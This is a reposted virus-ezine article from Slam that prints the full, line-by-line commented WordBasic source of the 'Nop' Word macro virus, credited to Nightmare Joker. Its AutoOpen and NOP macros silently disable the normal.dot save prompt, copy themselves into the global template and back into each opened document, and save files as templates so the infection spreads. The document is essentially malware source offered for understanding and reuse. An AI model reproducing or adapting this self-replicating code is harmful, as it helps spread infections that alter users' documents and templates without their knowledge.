SLAMSP.002: Description of the NOP macro virus

eZine lover (@eZine)

Published in 

Slam

 · 2 years ago

[ WordMacro. Nop ]------------------------------------------------------------ 

˛ VIRUSNAME:      Nop 
˛ SIZE:           234 Bytes (2 macros) 
˛ ORIGIN:         Germany 
˛ AUTHOR:         maybe T.S.? ;-)) 

Here is the source code of the word macro Nop virus. 

Description ==> '.... 

Macroname: AutoOpen (will always activate if you open any file!) 
~~~~~~~~~~~~~~~~~~~ 
'macro start. 
Sub MAIN 

'save all changes and the user see nothing. 
ToolsOptionsSave .GlobalDotPrompt = 0 

'm$ means: active file + macro "NOP" 
m$ = FileName$() + ":NOP" 

'Copy macro "NOP" to the file normal.dot with the new name "FileSaveAs". 
MacroCopy m$, "Global:FileSaveAs" 

'm$ means now: active file + macro "AutoOpen" 
m$ = FileName$() + ":AutoOpen" 

'Copy macro "AutoOpen" now to normal.dot with the new name "NOP". 
MacroCopy m$, "Global:NOP" 

'macro end. 
End Sub 

Macroname: NOP 
~~~~~~~~~~~~~~ 
'macro start. 
Sub MAIN 

'm$ means: active file + macro "AutoOpen" 
m$ = FileName$() + ":AutoOpen" 

'Copy now macro "NOP" from normal.dot to the active file 
'with the new name "AutoOpen" 
MacroCopy "Global:NOP", m$ 

'm$ means now: active file + macro "NOP" 
m$ = FileName$() + ":NOP" 

'Copy now macro "FileSaveAs" from normal.dot to the active file 
'with the new name "NOP" 
MacroCopy "Global:FileSaveAs", m$ 

'Save now the file as a template. 
FileSaveAs .Name = FileName$(), .Format = 1 
End Sub 

OK, I hope you understand this very easy macro virus. 

-Nightmare Joker